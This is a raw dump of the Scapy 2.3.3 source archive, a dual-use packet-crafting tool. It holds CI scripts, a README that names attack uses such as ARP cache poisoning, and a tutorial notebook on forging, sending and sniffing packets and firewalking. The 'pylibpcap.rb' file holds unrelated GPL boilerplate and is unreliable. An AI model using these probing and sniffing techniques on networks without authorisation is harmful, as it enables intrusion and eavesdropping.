2de4cd64f957e94c006f488d1762b118729ad459 v1.0.4.6 77d6fdeb8d8365301ee1df62338a64b956897b7e v1.0.4.7 cb43d84916bea30b5fcc096696136dc9df6bf2b3 v1.0.4.8 8f06dc61f6cadb3d38ecd00e479375fb2912adf1 v1.0.4.9 be7f6aa8af7b075032e65a799af617d966a2201a v1.0.4.10 2626f9f5330540798a2e870d1ad5dbc2c76721ee v1.0.4.11 d6321c20f04cfadf4bee48171777c331d875b6b7 v1.0.4.12 6831719ab80613e0aa89a4769214d63dfa771929 v1.0.4.13 7eab7744768307b780fafdd35333203ac0c9cb50 v1.0.4.14 8893d928cdfe9b11b343ac7c5a053e74e30f86a1 v1.0.4.15 2ca5b6260c3c3fe0ca8d6cd21fc55cda32dd1ce5 v1.0.4.16 2ca14f7e5bdbf1a3915717e33949e85665184cdc v1.0.4.17 936861050169d35a780fa24fd44b3ce8bb8970ff v1.0.4.18 80d4748b780b151963d51acb65da23e17869acc2 v1.0.4.19 33df08f17c10731e462bce0be143457aa23d3aba v1.0.4.20 0fb3aec33b39ae610fae847fd34a7309c1b6c6d6 v1.0.4.21 c6de1dc2099e9ef37aac89319299322e851ee2b1 v1.0.4.22 c5c6ab1b215572b9409b64549b97102059c63087 v1.0.4.23 98b2d3f3d5a9a41fa448c5d378ef2da5ddbd7165 v1.0.4.24 e0e80331cd861ac62f5d705b87ef22a981a944dd v1.0.4.25 16cd1503cd39efb54e5d7bc0ef17674124c289b8 v1.0.4.26 becd1a00092dec4afae71d0701bdea025f39954f v1.0.4.27 b34f203ddc9e10202740c314daa852cdd3be07be v1.0.4.28 5e2008726f83b663a0721576ec34777c0d742d3a v1.0.4.29 c05b9a77e84a8652d6188a5e431641443ea77114 v1.0.4.30 a7b5a432c79a4868cbc4e2d95eae10f7e4ab76c6 v1.0.4.31 6b084942908310c4f46909aff5335728a7eb328e v1.0.4.32 7e05cde68e63fe95bc596d2173f7b5f8feeda92d v1.0.4.33 254db3617aae164859556c8aa1650ff5dad37b79 v1.0.4.34 fbb5acfc91a85f2e0c0809ffd4927d4568154007 v1.0.4.35 3ce508afd4227158affb7011f95cc4085d4d4886 v1.0.4.36 986cd7839cca62102b26169d1976c5e6012197d0 v1.0.4.37 3bc29bd44f0d64cddec1512ad618f1dc05983ce1 v1.0.4.38 96e6836e89b4a236ea0b47fa4c1ccb4853728e95 v1.0.4.39 01d4103f126ff2f579dcee930f5488e28cbf805c v1.0.4.40 2941b2724eadb29c01dc48423a0fa8903e6bd2e5 v1.0.4.41 cb25cefa56dabb7bc0e8ea6c154b029b212d1881 v1.0.4.42 1f79df8b8a986bd1bfb1efb0f2c9e472dee4bcf2 v1.0.4.43 2864c2ff80dfa0c1a7acbb121290e0d2e868b822 v1.0.4.44 cf96fa2820d8394baad69fefb894a3d8c952b988 v1.0.4.45 8e1122240ef0e47bf567fe091be23e66b0e85fef v1.0.4.46 7b10989f2a1c5616f71e94233dda622ecc84160e v1.0.4.47 51fbc52cf60d5ebdf08d0e4ece899638d560b3f1 v1.0.4.48 db4d5d80853072ea3049d13dc7c4de64237ddd81 v1.0.4.49 6a4810b7dd7dc57edbc6d495c80d8570aeaa00d5 v1.0.4.50 35202a97b4878d1c29b04032047b1422832d5ece v1.0.4.51 c33338185b86e21726e70ee33c1d0ad6a8543658 v1.0.4.52 ca37d7a18bf8a0862da47c67f08ee7013971e4de v1.0.4.53 dfcb5b64181991d75faa0dd2fa483a297dc9d2d8 v1.0.4.54 3cd60a896103e8ec59e962e5ae25f2b7222c3b83 v1.0.4.55 b7b8150489a0100aefea16fb5dec03daffeb074a v1.0.4.56 35ccb73475335277563d5b6cdc1b4690a367109a v1.0.4.57 500ecfa368a4ac4d4bd039613efb35a5135df5f2 v1.0.4.58 e2b2d66e8ade12d01f4a51d4a1a74305950bbf66 v1.0.4.59 6118c41fc594330cd68181cbaeb1c1af240ce7f5 v1.0.4.60 37c42fee817e09a0df3455f0bf8d55d69f87e2c0 v1.0.4.61 7b6c70a90d6e10bc872652c3ac1c616c9b40c9b7 v1.0.4.62 23a94a4b0fc972dc92210e6d6e1ddd5c3e6c67a6 v1.0.4.63 2964c9ab3af41fc96c376e1af65d4c441e4a4cea v1.0.4.64 e05a0026b50b5bd619a2df13498a89049b065a09 v1.0.4.65 78b768045af0a685eedde1f849d35d9d03eb97a6 v1.0.4.66 374ce9dc41f70d0fcab78cde23be7956aa5b06e9 v1.0.4.67 300a9d7daffa0912361c978d8e3f6d0a17eaeec7 v1.0.4.68 65b6a177219fd946c5335804a041f4b758f9fda0 v1.0.4.69 c68be56005e7410d5591681224534fd88bcef6b4 v1.0.4.70 108de3718308cc55f2efb5e0b708aad5ad6fd099 v1.0.4.71 b21bc75ee799c40772e9251b550f151b550e3acb v1.0.4.72 5fa1845b4b17272f17703d4dad018e54129158d0 v1.0.4.73 68761485dfac869479a5ebf656f766db6caeeaaa v1.0.4.74 e7fc0f392484432a5241cc6c28d84e48b785fd0d v1.0.4.75 84b811ec6557b3f1ed408895e1d41552f6dd5b1a v1.0.4.76 c750fc43e0c9caae6c1872ec825ce9401bcd7abf v1.0.4.77 9810dfada26818647447aa10550b98d6cb0e10d3 v1.0.4.78 4e81bbd58682a5fc79156dd222433f45762ad204 v1.0.4.79 14b9ebcbf8df6026be217abf54af51a2e25b280e v1.0.4.80 e2ca886b6b40682d3c1b65ac7472d000a4f4634d v1.0.4.81 78e1f729dc230cb00ab789716f77a3a5a32e3461 v1.0.4.82 2a006a79a2aeecdf84842a5df43e86395af1d553 v1.0.4.83 37bcfbaaa7e2e6af9d1579a7756ac8857823ef8f v1.0.4.84 ddb8c375349cf58b839d908c24737df74563d65c v1.0.4.85 d6117dccb1968510dbeeec086c50b3ae42c82de8 v1.0.4.86 dd660ad0e707e5d91d3cd985e07b4b6665c0bf67 v1.0.4.87 3e0b5f01eae48bd66a3195140dbf5bb7cac1990f v1.0.4.88 e93c60a103899b1a3a860f01d2a468b18db1bb8e v1.0.4.89 febb8bf4182ef403381fb269a586d7f95a09da3f v1.0.4.90 91a7d90afbdf0775690bdbdb08a469915652e614 v1.0.4.91 ba49ddb4bbad37de1ddc1da9af5c27411d180e8b v1.0.4.92 c144a1e84ae4aaab49de48ba7e63fc626acc593a v1.0.4.93 13bd07bf311027b3ddc1cd527c8d078129287e9f v1.0.4.94 68a336f6276ecd16606e927403474d54d404bf7e v1.0.4.95 7d5c3acc56259f2a83902ec2340b2139e5af8dab v1.0.4.96 c4ac9ed05d3d1432215e38cf62a76500b979b093 v1.0.4.97 7a178e82af341ab8a7449d0e3cba0c1d359e85ca v1.0.4.98 4473959a9143ef7eb20f4497169dca608d653673 v1.0.4.99 882c209972917f215de44035efc497d0139cc2c4 v1.0.4.100 4055c2b49fae311f6f384b53c48a1751efd983d5 v1.0.4.101 375e2eef648d2123d8d8a70bf471be386eb91310 v1.0.4.102 9e76d91f350018cbe521f6bb677ecb73e5a9a411 v1.0.4.103 213d2fd8c0854674c0b8551554d3b4bf20f75322 v1.0.4.104 644b36f6141459db198b98bd7ad7a09f1ed0cbe3 v1.0.4.105 b20b92e99c4ae137368c69b6d2071319fe0da25f v1.0.4.106 e1a1590716bfe8dddd6fdd767771d0d79b320bbd v1.0.5.1 52b35e527f015766be1df8f67f7a690a5e0639cd v1.0.5.2 b4bfff58ca3985f1c27b38622e52ecc003cff440 v1.0.5.3 c6ad1efe9494a16afb06663565169dc5566a1ca3 v1.0.5.4 79578f9b42ab3df8b59e0c427d3151cebc46b846 v1.0.5.5 7eeeab6975edfde018930e042236870ab5d4a80d v1.0.5.6 4f03a736c3b76458a331f7ca3f5ac9cc6e9031fe v1.0.5.7 a5740957b545881d0f65a2503664de13105595d9 v1.0.5.8 81ec8d214442dc3cd901d7c77aa42f486a997d03 v1.0.5.9 e3578a8ca8263afe6eb7c8d0c432f276b69c9d70 v1.0.5.10 37554c88615530655f2eebe6f00bb27d22aa1cc2 v1.0.5.11 98adaaf5fea0f6afa7895f29d6980e92086c2db0 v1.0.5.12 b0223c45d952b2f810142d6150f9b0357c05ac65 v1.0.5.13 e096db8010d2341831e41a5ee507250bf642ad57 v1.0.5.14 24c96f4642827b6187b70161971f35bf4b410982 v1.0.5.15 67b059c59497674f799b035f6cea81b75c48ec82 v1.0.5.16 b44e399bd57ec2d1d39b7cd2311759d2fb8ec975 v1.0.5.17 e6907601842b5bff9d7edff9eebed71a36a6f8fe v1.0.5.18 256f076c177d52e172905b0b62c14757198c28c0 v1.0.5.19 2621c22c23af55ce4b42c955271ba81ee239c85a v1.0.5.20 e164cf76ae7dec36133ef9936c0d927a35d92691 v1.0.6.1 e452bf206aeb79768aa56cf8f781af1cce495532 v1.1.0 f88d999102206f461f9c602708ea6d1be5ecfe7a v1.1.1 b4343698bde097148d6fc9b28bea599cc6f41471 v1.2.0 8a166f01bceeb9cd3ae5babab0b262362e97b5f6 v1.2.0.1 d9c79a8bc874ee11ed791a367089af0ed5b79fc4 v1.2.0.2 eb61b4363c97ac2437953421fe8e4029ed8dcd8f v2.0.0.1-alpha 5d5e592d89cde0f333ec81eef810f6d305e2bce5 v2.0.0.2 35732154f34280751c634bc73fdf465562603c6e v2.0.0.3 21f5577563256e9252eb6d94d11c88f56440c41a v2.0.0.4 433f9b9f8ea074f61ae76ff32333b414d1cb54a7 v2.0.0.5 a1ee8c68a0023e998b3353060d2b774ea541cdf1 v2.0.0.6 7dad50f078fee92e11a4aa8e60961cab8ffeadb9 v2.0.0.7 93b8a3d4ab9d84102db803fd048ee10e596385d7 v2.0.0.8 225cc73092feea05b373a4f0d2cf16fbe6fa1d16 v2.0.0.9 86518fb3c5addf2721c5a9e818ab21908fc1f7ab v2.0.0.10 ebe234b803cd48882a082ec18a5743a36ca1db13 v2.0.0.11 834b9f8a3c230c0c8ba5a66ea6b9147c9f64d390 v2.0.1 62d7ebd04e57fb33d152e6cf8d2b37c91d1a6364 v2.1.0 94ae39b9a9279bdd0a99588a9017080baae9faf0 v2.1.1 74274bb47d3ccba3543097ce963957df6901f511 v2.2.0 05b481ea7a8e0c9d9954e7ba661626f0ccb6fb85 v2.3.0 13cb4ed640f3d136dcfc4afc168c508cc8631c50 v2.3.1 scapy-2.3.3/.travis.yml000066400000000000000000000014141300136037300147430ustar00rootroot00000000000000language: python matrix: include: # Run as a regular user - os: linux python: 2.6 - os: linux python: 2.7 - os: linux python: pypy - os: osx language: generic env: - SCAPY_USE_PCAPDNET=yes # Run as root - os: linux sudo: required python: 2.7 env: - TRAVIS_SUDO=sudo - os: linux sudo: required python: 2.7 env: - TRAVIS_SUDO=sudo - SCAPY_USE_PCAPDNET=yes - os: osx language: generic env: - TRAVIS_SUDO=sudo - SCAPY_USE_PCAPDNET=yes install: bash .travis/install.sh script: bash .travis/test.sh scapy-2.3.3/.travis/000077500000000000000000000000001300136037300142205ustar00rootroot00000000000000scapy-2.3.3/.travis/install.sh000066400000000000000000000013361300136037300162250ustar00rootroot00000000000000# Install dependencies using pip if [ -z $TRAVIS_SUDO ] && [ "$TRAVIS_OS_NAME" = "osx" ] then PIP_INSTALL_FLAGS="--user" fi $TRAVIS_SUDO pip install $PIP_INSTALL_FLAGS pycrypto ecdsa mock # Install pcap & dnet if [ ! -z $SCAPY_USE_PCAPDNET ] then if [ "$TRAVIS_OS_NAME" = "linux" ] then $TRAVIS_SUDO apt-get install python-libpcap python-dumbnet elif [ "$TRAVIS_OS_NAME" = "osx" ] then mkdir -p /Users/travis/Library/Python/2.7/lib/python/site-packages echo 'import site; site.addsitedir("/usr/local/lib/python2.7/site-packages")' >> /Users/travis/Library/Python/2.7/lib/python/site-packages/homebrew.pth brew update brew install --with-python libdnet brew install .travis/pylibpcap.rb fi fi scapy-2.3.3/.travis/pylibpcap.rb000066400000000000000000000005231300136037300165300ustar00rootroot00000000000000class Pylibpcap Copyright (C) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. scapy-2.3.3/MANIFEST.in000066400000000000000000000002051300136037300143650ustar00rootroot00000000000000include MANIFEST.in include run_scapy recursive-include bin * recursive-include doc * recursive-include test * include scapy/VERSION scapy-2.3.3/README000077700000000000000000000000001300136037300147642README.mdustar00rootroot00000000000000scapy-2.3.3/README.md000066400000000000000000000033421300136037300141130ustar00rootroot00000000000000# Scapy # [![Build Status](https://travis-ci.org/secdev/scapy.svg?branch=master)](https://travis-ci.org/secdev/scapy) Scapy is a powerful Python-based interactive packet manipulation program and library. It is able to forge or decode packets of a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more. It can easily handle most classical tasks like scanning, tracerouting, probing, unit tests, attacks or network discovery (it can replace hping, 85% of nmap, arpspoof, arp-sk, arping, tcpdump, tethereal, p0f, etc.). It also performs very well at a lot of other specific tasks that most other tools can't handle, like sending invalid frames, injecting your own 802.11 frames, combining technics (VLAN hopping+ARP cache poisoning, VOIP decoding on WEP encrypted channel, ...), etc. See [interactive tutorial](http://scapy.readthedocs.io/en/latest/usage.html#interactive-tutorial) and [the quick demo: an interactive session](http://scapy.readthedocs.io/en/latest/introduction.html#quick-demo) (some examples may be outdated). # Contributing # Want to contribute? Great! Please take a few minutes to [read this](CONTRIBUTING.md)! # License # Scapy is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, version 2. Scapy is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License [along with Scapy](LICENSE). If not, see [the gnu.org web site](http://www.gnu.org/licenses/). scapy-2.3.3/bin/000077500000000000000000000000001300136037300134025ustar00rootroot00000000000000scapy-2.3.3/bin/UTscapy000077500000000000000000000027331300136037300147250ustar00rootroot00000000000000#! /usr/bin/env python ############################################################################# ## ## ## UTscapy.py --- Unit Tests with scapy ## ## see http://www.secdev.org/projects/UTscapy/ ## ## for more informations ## ## ## ## Copyright (C) 2005 Philippe Biondi ## ## ## ## This program is free software; you can redistribute it and/or modify it ## ## under the terms of the GNU General Public License version 2 as ## ## published by the Free Software Foundation. ## ## ## ## This program is distributed in the hope that it will be useful, but ## ## WITHOUT ANY WARRANTY; without even the implied warranty of ## ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## ## General Public License for more details. ## ## ## ############################################################################# import sys from scapy.tools.UTscapy import main main(sys.argv[1:]) scapy-2.3.3/bin/UTscapy.bat000077500000000000000000000001701300136037300154630ustar00rootroot00000000000000@REM Use Python to run the UTscapy script from the current directory, passing all parameters @python %~dp0\UTscapy %* scapy-2.3.3/bin/scapy000077500000000000000000000027021300136037300144500ustar00rootroot00000000000000#! /usr/bin/env python ############################################################################# ## ## ## scapy.py --- Interactive packet manipulation tool ## ## see http://www.secdev.org/projects/scapy/ ## ## for more informations ## ## ## ## Copyright (C) Philippe Biondi ## ## ## ## This program is free software; you can redistribute it and/or modify it ## ## under the terms of the GNU General Public License version 2 as ## ## published by the Free Software Foundation. ## ## ## ## This program is distributed in the hope that it will be useful, but ## ## WITHOUT ANY WARRANTY; without even the implied warranty of ## ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## ## General Public License for more details. ## ## ## ############################################################################# from scapy.main import interact interact() scapy-2.3.3/bin/scapy.bat000077500000000000000000000001641300136037300152150ustar00rootroot00000000000000@REM Use Python to run the Scapy script from the current directory, passing all parameters @python %~dp0\scapy %* scapy-2.3.3/doc/000077500000000000000000000000001300136037300133775ustar00rootroot00000000000000scapy-2.3.3/doc/notebooks/000077500000000000000000000000001300136037300154025ustar00rootroot00000000000000scapy-2.3.3/doc/notebooks/Scapy in 15 minutes.ipynb000066400000000000000000006275551300136037300220120ustar00rootroot00000000000000{ "metadata": { "kernelspec": { "display_name": "Python 2", "language": "python2", "name": "python2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.11" }, "name": "", "signature": "sha256:79fcc04f3ba79fcc12a08e3e6de1e7f6fa95a3c528e45a46cd180c8fc3eed7fd" }, "nbformat": 3, "nbformat_minor": 0, "worksheets": [ { "cells": [ { "cell_type": "heading", "level": 1, "metadata": {}, "source": [ "Scapy in 15 minutes (or longer)" ] }, { "cell_type": "heading", "level": 5, "metadata": {}, "source": [ "Guillaume Valadon & Pierre Lalet" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "[Scapy](http://www.secdev.org/projects/scapy) is a powerful Python-based interactive packet manipulation program and library. It can be used to forge or decode packets for a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more.\n", "\n", "This iPython notebook provides a short tour of the main Scapy features. It assumes that you are familiar with networking terminology. All examples where built using the development version from [https://github.com/secdev/scapy](https://github.com/secdev/scapy), and tested on Linux. They should work as well on OS X, and other BSD.\n", "\n", "The current documentation is available on [http://scapy.readthedocs.io/](http://scapy.readthedocs.io/) !" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Scapy eases network packets manipulation, and allows you to forge complicated packets to perform advanced tests. As a teaser, let's have a look a two examples that are difficult to express without Scapy:\n", "\n", "1_ Sending a TCP segment with maximum segment size set to 0 to a specific port is an interesting test to perform against embedded TCP stacks. It can be achieved with the following one-liner:" ] }, { "cell_type": "code", "collapsed": false, "input": [ "send(IP(dst=\"1.2.3.4\")/TCP(dport=502, options=[(\"MSS\", 0)]))" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "\n", "Sent 1 packets.\n" ] } ], "prompt_number": 30 }, { "cell_type": "markdown", "metadata": {}, "source": [ "2_ Adanced firewalking using IP options is sometimes useful to perform network enumeration. Here is more complicate one-liner:" ] }, { "cell_type": "code", "collapsed": false, "input": [ "ans = sr([IP(dst=\"8.8.8.8\", ttl=(1, 8), options=IPOption_RR())/ICMP(seq=RandShort()), IP(dst=\"8.8.8.8\", ttl=(1, 8), options=IPOption_Traceroute())/ICMP(seq=RandShort()), IP(dst=\"8.8.8.8\", ttl=(1, 8))/ICMP(seq=RandShort())], verbose=False, timeout=3)[0]\n", "ans.make_table(lambda (x, y): (\", \".join(z.summary() for z in x[IP].options) or '-', x[IP].ttl, y.sprintf(\"%IP.src% %ICMP.type%\")))" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ " - IPOption_RR IPOption_Traceroute \n", "1 192.168.42.1 time-exceeded 192.168.46.1 time-exceeded 192.168.46.1 time-exceeded \n", "2 172.42.0.1 time-exceeded 172.42.0.1 time-exceeded 172.42.0.1 time-exceeded \n", "3 42.10.69.251 time-exceeded 42.10.69.251 time-exceeded 42.10.69.251 time-exceeded \n", "4 10.123.156.86 time-exceeded 10.123.156.86 time-exceeded - \n", "5 69.156.98.177 time-exceeded 69.156.98.177 time-exceeded - \n", "6 69.156.137.74 time-exceeded 69.156.137.74 time-exceeded - \n", "7 209.85.172.150 time-exceeded - - \n", "8 216.239.57.203 time-exceeded - - \n" ] } ], "prompt_number": 31 }, { "cell_type": "heading", "level": 4, "metadata": {}, "source": [ "Now that, we've got your attention, let's start the tutorial !" ] }, { "cell_type": "heading", "level": 2, "metadata": {}, "source": [ "Quick setup" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The easiest way to try Scapy is to clone the github repository, then launch the `run_scapy` script as root. The following examples can be pasted on the Scapy prompt. There is no need to install any external Python modules." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "```shell\n", "git clone https://github.com/secdev/scapy --depth=1\n", "sudo ./run_scapy\n", "Welcome to Scapy (2.3.2-dev)\n", ">>>\n", "```" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Note: iPython users must import scapy as follows" ] }, { "cell_type": "code", "collapsed": false, "input": [ "from scapy.all import *" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 13 }, { "cell_type": "heading", "level": 2, "metadata": {}, "source": [ "First steps" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "With Scapy, each network layer is a Python class.\n", "\n", "The `'/'` operator is used to bind layers together. Let's put a TCP segment on top of IP and assign it to the `packet` variable, then stack it on top of Ethernet. " ] }, { "cell_type": "code", "collapsed": false, "input": [ "packet = IP()/TCP()\n", "Ether()/packet" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 2, "text": [ ">>" ] } ], "prompt_number": 2 }, { "cell_type": "markdown", "metadata": {}, "source": [ "This last output displays the packet summary. Here, Scapy automatically filled the Ethernet type as well as the IP protocol field.\n", "\n", "Protocol fields can be listed using the `ls()` function:" ] }, { "cell_type": "code", "collapsed": false, "input": [ " >>> ls(IP, verbose=True)\n", " version : BitField (4 bits) = (4)\n", " ihl : BitField (4 bits) = (None)\n", " tos : XByteField = (0)\n", " len : ShortField = (None)\n", " id : ShortField = (1)\n", " flags : FlagsField (3 bits) = (0)\n", " MF, DF, evil\n", " frag : BitField (13 bits) = (0)\n", " ttl : ByteField = (64)\n", " proto : ByteEnumField = (0)\n", " chksum : XShortField = (None)\n", " src : SourceIPField (Emph) = (None)\n", " dst : DestIPField (Emph) = (None)\n", " options : PacketListField = ([])" ], "language": "python", "metadata": {}, "outputs": [] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let's create a new packet to a specific IP destination. With Scapy, each protocol field can be specified. As shown in the `ls()` output, the interesting field is `dst`.\n", "\n", "Scapy packets are objects with some useful methods, such as `summary()`." ] }, { "cell_type": "code", "collapsed": false, "input": [ "p = Ether()/IP(dst=\"www.secdev.org\")/TCP()\n", "p.summary()" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 3, "text": [ "\"Ether / IP / TCP 172.20.10.2:ftp_data > Net('www.secdev.org'):http S\"" ] } ], "prompt_number": 3 }, { "cell_type": "markdown", "metadata": {}, "source": [ "There are not many differences with the previous example. However, Scapy used the specific destination to perform some magic tricks !\n", "\n", "Using internal mechanisms (such as DNS resolution, routing table and ARP resolution), Scapy has automatically set fields necessary to send the packet. This fields can of course be accessed and displayed." ] }, { "cell_type": "code", "collapsed": false, "input": [ "print p.dst # first layer that has an src field, here Ether\n", "print p[IP].src # explicitly access the src field of the IP layer\n", "\n", "# sprintf() is a useful method to display fields\n", "print p.sprintf(\"%Ether.src% > %Ether.dst%\\n%IP.src% > %IP.dst%\")" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "3a:71:de:90:0b:64\n", "172.20.10.2\n", "b8:e8:56:45:8c:e6 > 3a:71:de:90:0b:64\n", "172.20.10.2 > Net('www.secdev.org')\n" ] } ], "prompt_number": 10 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Scapy uses default values that work most of the time. For example, `TCP()` is a SYN segment to port 80." ] }, { "cell_type": "code", "collapsed": false, "input": [ "print p.sprintf(\"%TCP.flags% %TCP.dport%\")" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "S http\n" ] } ], "prompt_number": 9 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Moreover, Scapy has implicit packets. For example, they are useful to make the TTL field value vary from 1 to 5 to mimic traceroute." ] }, { "cell_type": "code", "collapsed": false, "input": [ "[p for p in IP(ttl=(1,5))/ICMP()]" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 11, "text": [ "[>,\n", " >,\n", " >,\n", " >,\n", " >]" ] } ], "prompt_number": 11 }, { "cell_type": "heading", "level": 2, "metadata": {}, "source": [ "Sending and receiving" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Currently, you know how to build packets with Scapy. The next step is to send them over the network !\n", "\n", "The `sr1()` function sends a packet and return the corresponding answer. `srp1()` does the same for layer two packets, i.e. Ethernet. If you are only interested in sending packets `send()` is your friend.\n", "\n", "As an example, we can use the DNS protocol to get www.example.com IPv4 address." ] }, { "cell_type": "code", "collapsed": false, "input": [ "sr1(IP(dst=\"8.8.8.8\")/UDP()/DNS(qd=DNSQR()))\n", "p[DNS].an" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "\n", "Received 19 packets, got 1 answers, remaining 0 packets\n", "Begin emission:\n", "Finished to send 1 packets.\n" ] }, { "metadata": {}, "output_type": "pyout", "prompt_number": 23, "text": [ "" ] } ], "prompt_number": 23 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Another alternative is the `sr()` function. Like `srp1()`, the `sr1()` function can be used for layer 2 packets." ] }, { "cell_type": "code", "collapsed": false, "input": [ "r, u = srp(Ether()/IP(dst=\"8.8.8.8\", ttl=(5,10))/UDP()/DNS(rd=1, qd=DNSQR(qname=\"www.example.com\")))\n", "r, u" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "\n", "Received 7 packets, got 6 answers, remaining 0 packets\n", "Begin emission:\n", "Finished to send 6 packets.\n" ] }, { "metadata": {}, "output_type": "pyout", "prompt_number": 47, "text": [ "(,\n", " )" ] } ], "prompt_number": 47 }, { "cell_type": "markdown", "metadata": {}, "source": [ "`sr()` sent a list of packets, and returns two variables, here `r` and `u`, where:\n", "1. `r` is a list of results (i.e tuples of the packet sent and its answer)\n", "2. `u` is a list of unanswered packets" ] }, { "cell_type": "code", "collapsed": false, "input": [ "# Access the first tuple\n", "print r[0][0].summary() # the packet sent\n", "print r[0][1].summary() # the answer received\n", "\n", "# Access the ICMP layer. Scapy received a time-exceeded error message\n", "r[0][1][ICMP]" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "Ether / IP / UDP / DNS Qry \"www.example.com\" \n", "Ether / IP / ICMP / IPerror / UDPerror / DNS Qry \"www.example.com.\" \n" ] }, { "metadata": {}, "output_type": "pyout", "prompt_number": 48, "text": [ " an=None ns=None ar=None |>>>>" ] } ], "prompt_number": 48 }, { "cell_type": "markdown", "metadata": {}, "source": [ "With Scapy, list of packets, such as `r` or `u`, can be easily written to, or read from PCAP files." ] }, { "cell_type": "code", "collapsed": false, "input": [ "wrpcap(\"scapy.pcap\", r)\n", "\n", "pcap_p = rdpcap(\"scapy.pcap\")\n", "pcap_p[0]" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 50, "text": [ " an=None ns=None ar=None |>>>>" ] } ], "prompt_number": 50 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Sniffing the network is a straightforward as sending and receiving packets. The `sniff()` function returns a list of Scapy packets, that can be manipulated as previously described." ] }, { "cell_type": "code", "collapsed": false, "input": [ "s = sniff(count=2)\n", "s" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 52, "text": [ "" ] } ], "prompt_number": 52 }, { "cell_type": "markdown", "metadata": {}, "source": [ "`sniff()` has many arguments. The `prn` one accepts a function name that will be called on received packets. Using the `lambda` keyword, Scapy could be used to mimic the `tshark` command behavior." ] }, { "cell_type": "code", "collapsed": false, "input": [ "sniff(count=2, prn=lambda p: p.summary())" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "Ether / IP / TCP 172.20.10.2:52664 > 216.58.208.200:https A\n", "Ether / IP / TCP 216.58.208.200:https > 172.20.10.2:52664 A\n" ] }, { "metadata": {}, "output_type": "pyout", "prompt_number": 53, "text": [ "" ] } ], "prompt_number": 53 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Alternatively, Scapy can use OS sockets to send and receive packets. The following example assigns an UDP socket to a Scapy `StreamSocket`, which is then used to query www.example.com IPv4 address.\n", "Unlike other Scapy sockets, `StreamSockets` do not require root privileges." ] }, { "cell_type": "code", "collapsed": false, "input": [ "import socket\n", "\n", "sck = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # create an UDP socket\n", "sck.connect((\"8.8.8.8\", 53)) # connect to 8.8.8.8 on 53/UDP\n", "\n", "# Create the StreamSocket and gives the class used to decode the answer\n", "ssck = StreamSocket(sck)\n", "ssck.basecls = DNS\n", "\n", "# Send the DNS query\n", "ssck.sr1(DNS(rd=1, qd=DNSQR(qname=\"www.example.com\")))" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "\n", "Received 1 packets, got 1 answers, remaining 0 packets\n", "Begin emission:\n", "Finished to send 1 packets.\n" ] }, { "metadata": {}, 